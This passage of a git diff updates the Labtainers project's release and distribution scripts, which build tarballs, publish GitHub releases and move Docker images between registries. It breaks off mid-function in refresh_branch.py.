-cp labtainer.tar $myshare -cp labtainer_pdf.zip $myshare +if [[ "$1" != "-r" ]]; then + cp labtainer.tar $myshare + cp labtainer_pdf.zip $myshare +fi +rm -fr $ddir +echo "DONE" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkrelease.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkrelease.sh new file mode 100755 index 000000000..88e410f97 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mkrelease.sh @@ -0,0 +1,74 @@ +#!/bin/bash +# +# Create a Labtainers release. +# --Merge a branch into master +# --Update the release information in the README file. +# --Tag the current commit and push the release artifacts. +# +# A merge into master is assumed to be a new release, and thus these steps are not +# separate. +# +# +# DO NOT USE +echo "DO NOT USE" +exit +# +# +if [[ -z "$1" ]]; then + tag=$(git tag | tail -n 1) + echo "Missing tag, most recent is "$tag" . Pick the next revision." + exit +fi +if [[ -z "$gitpat" ]]; then + echo "gitpat is not defined. Source the gitpat.sh file" + exit +fi +if [[ -z "$SSH_AGENT_PID" ]]; then + echo "No ssh-agent running. Source ~/agent.sh" + exit +fi +new_tag=$1 +branch=$2 +shift 2 +cur_branch=$(git rev-parse --abbrev-ref HEAD) +if [[ "$cur_branch" != "$branch" ]]; then + echo "Current branch is not $branch." + exit 1 +fi + +here=`pwd` +revision=$new_tag +commit=`git describe --always` +sed -i "s/^Distribution created:.*$/Distribution created: $(date '+%m\/%d\/%Y %H:%M') <\/br>/" ../README.md +sed -i "s/^Revision:.*$/Revision: $revision <\/br>/" ../README.md +sed -i "s/^Commit:.*$/Commit: $commit <\/br>/" ../README.md +sed -i "s/^Branch:.*$/Branch: master <\/br>/" ../README.md +git commit ../README.md -m "Update readme date/rev" +./mergePre.sh $branch $1 || exit 1 +git tag $new_tag +#git push --set-upstream origin master +git push --tags + +# create the end-user distibution +./mkdist.sh -r || exit 1 + +# copy end-user distribution files to artifacts +mkdir -p artifacts +cp labtainer.tar artifacts/ +cp labtainer_pdf.zip artifacts/ +echo "Artifacts for revision $revision" > artifacts/README.txt + +echo "Build GUI Jar" +cd $LABTAINER_DIR/UI/bin +./buildUI2.sh -n || exit +cp MainUI.jar $LABTAINER_DIR/distrib/artifacts/ +cd $here +echo "Now generate release" +github-release release --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag + +echo "Upload tar" +github-release upload --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag --name labtainer.tar --file artifacts/labtainer.tar +echo "Upload PDF zip" +github-release upload --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag --name labtainer_pdf.zip --file artifacts/labtainer_pdf.zip +echo "Upload UI" +github-release upload --security-token $gitpat --user mfthomps --repo Labtainers --tag $new_tag --name MainUI.jar --file artifacts/MainUI.jar diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mktest.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mktest.sh index 92a992369..877ab8baf 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mktest.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/mktest.sh @@ -6,19 +6,33 @@ # are not generally distributed. # Assumes the simlab files are in ../../Labtainers-simlab/simlab # -tmp_dir=/tmp/labtainer_tests +mkdir -p /tmp/$USER +exec &> >(tee -a "/tmp/$USER/mktest.log") 2>&1 +if [[ -z $myshare ]]; then + myshare=/media/sf_SEED +fi +tmp_dir=$(mktemp -d -t labtainer_tests-XXXXXXXX) rm -fr $tmp_dir mkdir $tmp_dir trunk=$tmp_dir/trunk mkdir $trunk here=`pwd` cd ../ -$here/fix-git-dates.py distrib $trunk -$here/fix-git-dates.py testsets $trunk -cd ../Labtainers-simlab -git status -s | grep -E "^ M|^ D|^ A" | less -$here/fix-git-dates.py simlab $tmp_dir +branch=$(git rev-parse --abbrev-ref HEAD) +echo "Make test set distribution from branch: $branch" +$here/fix-git-dates.py distrib $trunk $branch +$here/fix-git-dates.py testsets $trunk $branch +cd ../Labtainers-simlab/simlab +git pull +branch=$(git rev-parse --abbrev-ref HEAD) +echo "Make simlab distribution from branch: $branch" +cd ../ +$here/fix-git-dates.py simlab $tmp_dir $branch #git archive master simlab | tar -x -C $tmp_dir cd $tmp_dir -tar czf /tmp/labtainer-tests.tar trunk simlab -mv /tmp/labtainer-tests.tar /media/sf_SEED/ +tar --exclude *.zip -czf /tmp/$USER/labtainer-tests.tar trunk simlab +cp /tmp/$USER/labtainer-tests.tar $myshare +mv /tmp/$USER/labtainer-tests.tar $here/ +tar --exclude expected -czf /tmp/$USER/simlab-dist.tar simlab +cp /tmp/$USER/simlab-dist.tar $myshare +mv /tmp/$USER/simlab-dist.tar $here/ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/move_base.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/move_base.py new file mode 100755 index 000000000..e54e0e1aa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/move_base.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 +import sys +import os +sys.path.append('../scripts/labtainer-student/bin') +import RemoteBase +import LabtainerLogging +import ParseLabtainerConfig +import LabtainerBase +config_file = '../config/labtainer.config' +labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(config_file, None) +lgr = LabtainerLogging.LabtainerLogging("/tmp/move_base.log", 'none', config_file) +base_names = LabtainerBase.getBaseList(skip_exempt=False) + +old_reg = 'mfthomps' +new_reg = 'labtainers' +os.system('docker login -u mfthomps') +for base in base_names: + old = '%s/%s' % (old_reg, base) + new = '%s/%s' % (new_reg, base) + print(base) + new_created, new_user = RemoteBase.inspectRemote(new, lgr) + if new_created is not None: + old_created, old_user = RemoteBase.inspectRemote(old, lgr) + if new_created is None or old_created > new_created: + cmd = 'docker pull %s' % (old) + print(cmd) + os.system(cmd) + cmd = 'docker tag %s %s' % (old, new) + print(cmd) + os.system(cmd) + cmd = 'docker push %s' % (new) + print(cmd) + os.system(cmd) + else: + print('new registry for %s is up to date.' % new) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/move_reg.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/move_reg.py new file mode 100755 index 000000000..b1bb32cef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/move_reg.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python3 +''' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +''' +import os +import sys +import argparse +sys.path.append('../scripts/labtainer-student/bin') +import InspectLocalReg +import InspectRemoteReg +import LabtainerLogging +''' +Move repos from the mfthomps registry to the labtainers registry +''' + +def do_lab(lab_dir, lab, role, source_reg, dest_reg, force, logger): + docker_dir = os.path.join(labdir, lab, 'dockerfiles') + if not os.path.isdir(docker_dir): + return + df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + for df in df_list: + if df.endswith('.swp'): + continue + try: + parts = df.split('.') + image = '%s.%s.%s' % (parts[1], parts[2], role) + except: + print('could not get image from %s' % df); + continue + with_new_reg = '%s/%s' % (dest_reg, image) + new_created, new_user, version, tag = InspectRemoteReg.inspectRemote(with_new_reg, logger, no_pull=True) + if new_created is not None: + with_reg = '%s/%s' % (source_reg, image) + remote_created, remote_user, version, tag = InspectRemoteReg.inspectRemote(with_reg, logger, no_pull=True) + if force or new_created is None or remote_created > new_created: + cmd = 'docker pull %s/%s' % (source_reg, image) + print(cmd) + os.system(cmd) + cmd = 'docker tag %s/%s %s/%s' % (source_reg, image, dest_reg, image) + print(cmd) + os.system(cmd) + cmd = 'docker push %s/%s' % (dest_reg, image) + print(cmd) + os.system(cmd) + else: + print('local registry for %s is up to date.' % image) + +parser = argparse.ArgumentParser(description='pull from the docker hub mfthomps and push to docker hub labtainers') +parser.add_argument('-l', '--lab', action='store', help='only pull/tag/push this lab') +parser.add_argument('-f', '--force', action='store_true', default=False, help='force pull/push') +args = parser.parse_args() +skip = [] +with open('skip-labs') as fh: + for line in fh: + f = os.path.basename(line).strip() + print('will skip [%s]' % f) + skip.append(f) + +logger = LabtainerLogging.LabtainerLogging("reg_image_dif.log", 'none', "../config/labtainer.config") +labdir = '../labs' +lab_list = os.listdir(labdir) +# +# test with a single lab. Then use loop below once it works. +# +new_registry = 'labtainers' +os.system('docker login -u mfthomps') +if args.lab is not None: + do_lab(labdir, args.lab, 'student', 'mfthomps', new_registry, args.force, logger) +else: + #print('commented out for now') + for lab in sorted(lab_list): + if lab not in skip: + start_config = os.path.join('../labs', lab, 'config', 'start.config') + cmd = 'git ls-files --error-unmatch %s > /dev/null 2>&1' % start_config + result = os.system(cmd) + if result == 0: + do_lab(labdir, lab, 'student', 'mfthomps', new_registry, args.force, logger) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish.py index 6a5a02895..f197da390 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish.py +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish.py @@ -1,12 +1,32 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 ''' This software was created by United States Government employees at -The Center for the Information Systems Studies and Research (CISR) +The Center for Cybersecurity and Cyber Operations (C3O) at the Naval Postgraduate School NPS. Please note that within the United States, copyright protection is not available for any works created by United States Government employees, pursuant to Title 17 United States Code Section 105. This software is in the public domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. ''' import sys import os @@ -19,10 +39,13 @@ import ParseLabtainerConfig import labutils import VersionInfo import removelab +import registry +import InspectLocalReg +import rebuild ''' Build and publish labtainer images. Use -h option for help. ''' -def relabel(image, version, base_image, base_id, registry): +def relabel(image, version, base_image, base_id, registry, logger): with open('./dfile', 'w') as fh: fh.write('FROM %s\n' % image) fh.write('ARG version\n') @@ -31,35 +54,60 @@ def relabel(image, version, base_image, base_id, registry): cmd = 'docker build -f dfile -t %s.tmp .' % image os.system(cmd) + ''' + Do two pushes, one for the default image, the other with a base image tag for + retrieval by instances that do not have the appropriate base. + ''' cmd = 'docker tag %s.tmp %s/%s' % (image, registry, image) - print cmd + #print cmd os.system(cmd) cmd = 'docker push %s/%s' % (registry, image) - print cmd + #print cmd os.system(cmd) cmd = 'docker tag %s.tmp %s/%s:base_image%s' % (image, registry, image, base_id) - print cmd + #print cmd os.system(cmd) cmd = 'docker push %s/%s:base_image%s' % (registry, image, base_id) - print cmd + #print cmd os.system(cmd) -def rebuild(labname, labsdir, force, logger): +def doRebuild(labname, labsdir, force, no_build, logger): mycwd = os.getcwd() path = '../scripts/labtainer-student' os.chdir(path) #print('now at %s' % os.getcwd()) lab_dir = os.path.join(labsdir, labname) #print('cwd was %s now %s lab_dir is %s' % (mycwd, os.getcwd(), lab_dir)) - retval = labutils.DoRebuildLab(lab_dir, force_build=force) + retval = rebuild.DoRebuildLab(lab_dir, force_build=force, no_build=no_build, no_pull=True, use_cache=False) os.chdir(mycwd) return retval -def pushIt(lab, docker_dir, registry, logger): +def pushImage(lab, docker_dir, registry_info, logger): + ''' + Set the label and tags on any newly built image and push it to the given registry. + ''' + did_one = False + for ri in registry_info: + df = 'Dockerfile.%s.%s.student' % (lab, ri.name) + dfile_path = os.path.join(docker_dir,df) + image_base = VersionInfo.getFrom(dfile_path, ri.base_registry) + base_id = VersionInfo.getImageId(image_base, True) + framework_version = labutils.framework_version + relabel(ri.image_name, framework_version, image_base, base_id, ri.registry, logger) + logger.debug('Did relabel of %s using base_id %s' % (ri.image_name, base_id)) + did_one = True + + ''' Delete the lab images. Two reasons: 1) ensure we run registry or dockerHub copy, + 2) don't push on a rebuild if not rebuilt. ''' + if did_one: + removelab.removeLab(lab) + +def pushIt(lab, docker_dir, registry, base_registry, logger): ''' Set the label and tags on any newly built image and push it to the given registry. ''' df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + did_one = False for df in df_list: if df.endswith('.swp'): continue @@ -73,63 +121,83 @@ def pushIt(lab, docker_dir, registry, logger): image_exists, dumb, dumb1 = labutils.ImageExists(image, None) if image_exists: dfile_path = os.path.join(docker_dir,df) - image_base = VersionInfo.getFrom(dfile_path, registry) + image_base = VersionInfo.getFrom(dfile_path, base_registry) base_id = VersionInfo.getImageId(image_base, True) framework_version = labutils.framework_version - relabel(image, framework_version, image_base, base_id, registry) - + relabel(image, framework_version, image_base, base_id, registry, logger) + logger.debug('Did relabel of %s using base_id %s' % (image, base_id)) + did_one = True else: logger.debug('Have not built %s, nothing to push' % image) - ''' Delete the lab images. Two reasons: 1) ensure we run authoritative copy, - which is from the dockerhub. 2) don't push on a rebuild if not rebuilt. ''' - removelab.removeLab(lab) + ''' Delete the lab images. Two reasons: 1) ensure we run registry or dockerHub copy, + 2) don't push on a rebuild if not rebuilt. ''' + if did_one: + removelab.removeLab(lab) -def DoLab(lab, labsdir, force, logger, do_login, test_registry, default_registry): +def DoLab(lab, labsdir, force, logger, do_login, use_default_registry, default_registry, no_build=False): logger.debug('DoLab for %s' % lab) + if not no_build: + removelab.removeLab(lab) lab_dir = os.path.join(labsdir, lab) - registry_set = rebuild(lab, labsdir, force, logger) - if len(registry_set) > 1: - logger.error('no current support for images from multiple registries') - exit(1) - else: - registry = list(registry_set)[0] - logger.debug('back from rebuild with registry of %s' % registry) - ''' should we login? Never if test registry ''' - if not test_registry: - if registry is not None and registry != default_registry: - print('registry %s not equal %s, login' % (registry, default_registry)) - os.system('docker login -u %s' % registry) + registry_info = doRebuild(lab, labsdir, force, no_build, logger) + registry = None + for ri in registry_info: + if registry is not None and ri.registry != registry: + logger.error('no current support for images from multiple registries, got %s and %s' % (ri.registry, registry)) + exit(1) else: - registry = default_registry - if do_login: - os.system('docker login -u %s' % registry) - docker_dir = os.path.join(labsdir, lab, 'dockerfiles') - pushIt(lab, docker_dir, registry, logger) + registry = ri.registry + logger.debug('Back from rebuild with registry of %s' % registry) + if not no_build and registry is not None: + ''' should we login? Never if test registry ''' + if use_default_registry: + if registry != default_registry: + print('registry %s not equal %s, login' % (registry, default_registry)) + os.system('docker login') + else: + registry = default_registry + if do_login: + os.system('docker login') + docker_dir = os.path.join(labsdir, lab, 'dockerfiles') + #pushIt(lab, docker_dir, registry, base_registry, logger) + pushImage(lab, docker_dir, registry_info, logger) def main(): + src_path = '../' + labtainer_config_file = os.path.join(src_path, 'config', 'labtainer.config') + logfile = os.path.join(os.getenv('LABTAINER_DIR'), 'logs', 'labtainer-publish.log') + logger = LabtainerLogging.LabtainerLogging(logfile, 'publish', labtainer_config_file) + logger.debug('Start publish log') + labutils.logger = logger + parser = argparse.ArgumentParser(description='Build the images labs and publish to a registry') parser.add_argument('-l', '--lab', action='store', help='build and publish just this lab') parser.add_argument('-s', '--start', action='store', help='all labs starting with this one') - parser.add_argument('-t', '--test_registry', action='store_true', default=False, help='build and publish with test registry') + parser.add_argument('-d', '--default_registry', action='store_true', default=False, help='build and publish with default registry -- instead of the typical test registry') parser.add_argument('-f', '--force', action='store_true', default=False, help='force rebuild of all images') + parser.add_argument('-n', '--no_build', action='store_true', default=False, help='Do not rebuild, just report on what would be built') + parser.add_argument('-q', '--quiet', action='store_true', default=False, help='Do not prompt user for ok') args = parser.parse_args() - if args.test_registry: + if not args.default_registry: if os.getenv('TEST_REGISTRY') is None: - print('use putenv to set it') + #print('use putenv to set it') os.putenv("TEST_REGISTRY", "TRUE") ''' why does putenv not set the value? ''' os.environ['TEST_REGISTRY'] = 'TRUE' else: - print('exists, set it true') + #print('exists, set it true') os.environ['TEST_REGISTRY'] = 'TRUE' - print('set TEST REG to %s' % os.getenv('TEST_REGISTRY')) + branch, test_registry = registry.getBranchRegistry() + print('Using test registry %s' % test_registry) + ok = InspectLocalReg.checkRegistryExists(test_registry, logger) + if not ok: + print('Default is to use a test registry, which does not seem to exist. Use -d option to force publishing directly to Docker Hub') + exit(1) + else: + if os.getenv('TEST_REGISTRY') is not None: + print('Request to use default registry, but TEST_REGISTRY is set. Unset that first.') + exit(1) - src_path = '../' - labtainer_config_file = os.path.join(src_path, 'config', 'labtainer.config') - logger = LabtainerLogging.LabtainerLogging("labtainer-publish.log", 'publish', labtainer_config_file) - labutils.logger = logger - - skip_labs = 'skip-labs' skip = [] @@ -146,10 +214,7 @@ def main(): if args.lab is not None: logger.debug('Doing just one lab %s labsdir %s' % (args.lab, labsdir)) - # Do login here and now so we don't wait for lab to build before prompt - if not args.test_registry: - os.system('docker login -u %s' % default_registry) - DoLab(args.lab, labsdir, args.force, logger, False, args.test_registry, default_registry) + DoLab(args.lab, labsdir, args.force, logger, False, args.default_registry, default_registry, no_build=args.no_build) else: # do them all. warn of incomplete git mycwd = os.getcwd() @@ -161,17 +226,19 @@ def main(): ps.stdout.close() output = ps_grep.communicate() if len(output[0]) > 0: - for line in output[0].splitlines(True): - print line.strip() - dumb = raw_input("any key to continue") + for line in output[0].decode('utf-8').splitlines(): + print(line.strip()) + if not args.quiet: + dumb = input("any key to continue") - if not args.test_registry: - os.system('docker login -u %s' % default_registry) + # Do login here and now so we don't wait for lab to build before prompt + if args.default_registry: + os.system('docker login') #cmd = 'svn ls https://tor.ern.nps.edu/svn/proj/labtainer/trunk/labs' cmd = 'git ls-files ./ | cut -d/ -f1 | uniq' child = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) output = child.communicate() - lab_list = output[0].strip().splitlines(True) + lab_list = output[0].decode('utf-8').strip().splitlines() for lab in sorted(lab_list): #lab = lab[:len(lab)-1] lab = lab.strip() @@ -184,7 +251,7 @@ def main(): cmd = 'git checkout ./' os.system(cmd) os.chdir(mycwd) - DoLab(lab, labsdir, args.force, logger, False, args.test_registry, default_registry) + DoLab(lab, labsdir, args.force, logger, False, args.default_registry, default_registry, no_build=args.no_build) if __name__ == '__main__': sys.exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish_grader.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish_grader.py deleted file mode 100755 index 8abc828c3..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/publish_grader.py +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env python -import os -import sys -import argparse -sys.path.append('../scripts/labtainer-student/bin') -import labutils -import ParseLabtainerConfig -import LabtainerLogging -import VersionInfo -def relabel(image, version, base_image, base_id, registry): - with open('./dfile', 'w') as fh: - fh.write('FROM %s\n' % image) - fh.write('ARG version\n') - fh.write('LABEL version=%s\n' % version) - fh.write('LABEL base=%s.%s' % (base_image, base_id)) - - cmd = 'docker build -f dfile -t %s.tmp .' % image - os.system(cmd) - cmd = 'docker tag %s.tmp %s/%s' % (image, registry, image) - print cmd - os.system(cmd) - cmd = 'docker push %s/%s' % (registry, image) - print cmd - os.system(cmd) - cmd = 'docker tag %s.tmp %s/%s:base_image%s' % (image, registry, image, base_id) - print cmd - os.system(cmd) - cmd = 'docker push %s/%s:base_image%s' % (registry, image, base_id) - print cmd - os.system(cmd) - -def main(): - parser = argparse.ArgumentParser(description='Build and publish the grader') - parser.add_argument('-t', '--test_registry', action='store_true', help='Use image from test registry') - args = parser.parse_args() - if args.test_registry: - if os.getenv('TEST_REGISTRY') is None: - print('use putenv to set it') - os.putenv("TEST_REGISTRY", "TRUE") - ''' why does putenv not set the value? ''' - os.environ['TEST_REGISTRY'] = 'TRUE' - else: - print('exists, set it true') - os.environ['TEST_REGISTRY'] = 'TRUE' - print('set TEST REG to %s' % os.getenv('TEST_REGISTRY')) - here = os.getcwd() - os.chdir('../scripts/designer/bin') - test_registry = '' - if args.test_registry: - test_registry = '-t' - cmd = './create_image.sh grader %s' % test_registry - os.system(cmd) - os.chdir(here) - src_path = '../' - labtainer_config_file = os.path.join(src_path, 'config', 'labtainer.config') - logger = LabtainerLogging.LabtainerLogging("publish_grader.log", 'publish', labtainer_config_file) - labutils.logger = logger - - labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_file, logger) - if args.test_registry: - registry = labtainer_config.test_registry - else: - registry = labtainer_config.default_registry - dfile_path = '../scripts/designer/base_dockerfiles/Dockerfile.labtainer.grader' - image_base = VersionInfo.getFrom(dfile_path, registry) - base_id = VersionInfo.getImageId(image_base, True) - framework_version = labutils.framework_version - relabel('labtainer.grader', framework_version, image_base, base_id, registry) - - - -if __name__ == '__main__': - sys.exit(main()) - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/pull_tag_push.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/pull_tag_push.py index a3115dc64..31b332a4f 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/pull_tag_push.py +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/pull_tag_push.py @@ -1,16 +1,46 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 +''' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +''' import os import sys import argparse sys.path.append('../scripts/labtainer-student/bin') import InspectLocalReg import InspectRemoteReg +import LabtainerLogging ''' Pull all labtainer container images from the docker hub, retag them, and push to a local registry. Only replace the local registry if its image is older than the remote. ''' -def do_lab(lab_dir, lab, role, source_reg, dest_reg, force): +def do_lab(lab_dir, lab, role, source_reg, dest_reg, force, logger): docker_dir = os.path.join(labdir, lab, 'dockerfiles') if not os.path.isdir(docker_dir): return @@ -24,9 +54,10 @@ def do_lab(lab_dir, lab, role, source_reg, dest_reg, force): except: print('could not get image from %s' % df); continue - local_created, local_user, version, tag = InspectLocalReg.inspectLocal(image, dest_reg) + local_created, local_user, version, tag, base = InspectLocalReg.inspectLocal(image, logger, dest_reg) if local_created is not None: - remote_created, remote_user, version, tag = InspectRemoteReg.inspectRemote(image) + with_reg = '%s/%s' % (source_reg, image) + remote_created, remote_user, version, tag = InspectRemoteReg.inspectRemote(with_reg, logger) if force or local_created is None or remote_created > local_created: cmd = 'docker pull %s/%s' % (source_reg, image) #print cmd @@ -51,6 +82,7 @@ with open('skip-labs') as fh: print('will skip [%s]' % f) skip.append(f) +logger = LabtainerLogging.LabtainerLogging("reg_image_dif.log", 'none', "../config/labtainer.config") labdir = '../labs' lab_list = os.listdir(labdir) # @@ -58,12 +90,10 @@ lab_list = os.listdir(labdir) # testregistry = 'testregistry:5000' if args.lab is not None: - do_lab(labdir, args.lab, 'student', 'mfthomps', testregistry, args.force) - do_lab(labdir, args.lab, 'instructor', 'mfthomps', testregistry, args.force) + do_lab(labdir, args.lab, 'student', 'mfthomps', testregistry, args.force, logger) else: #print('commented out for now') testregistry = 'testregistry:5000' for lab in sorted(lab_list): if lab not in skip: - do_lab(labdir, lab, 'student', 'mfthomps', testregistry, args.force) - do_lab(labdir, lab, 'instructor', 'mfthomps', testregistry, args.force) + do_lab(labdir, lab, 'student', 'mfthomps', testregistry, args.force, logger) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/push_base.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/push_base.sh index 2f34fe2eb..0c6e853be 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/push_base.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/push_base.sh @@ -1,6 +1,6 @@ #!/bin/bash pull_push(){ - registry=mfthomps + registry=labtainers test_registry=testregistry:5000 docker pull $registry/$1 docker tag $registry/$1 $test_registry/$1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/refresh_branch.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/refresh_branch.py new file mode 100755 index 000000000..fe4a74e1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/refresh_branch.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python3 +''' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +''' +import sys +import os +import argparse +import subprocess +sys.path.append('../scripts/labtainer-student/bin') +import LocalBase +import InspectLocalReg +import LabtainerLogging +import ParseLabtainerConfig +import registry +import LabtainerBase + +''' +Force the registry associated with the current git branch (see config/registry.config) +to match the premaster registry. Intended to be called from scripts, e.g., to establish +a new branch. +''' +def pull_push(image, source_registry, 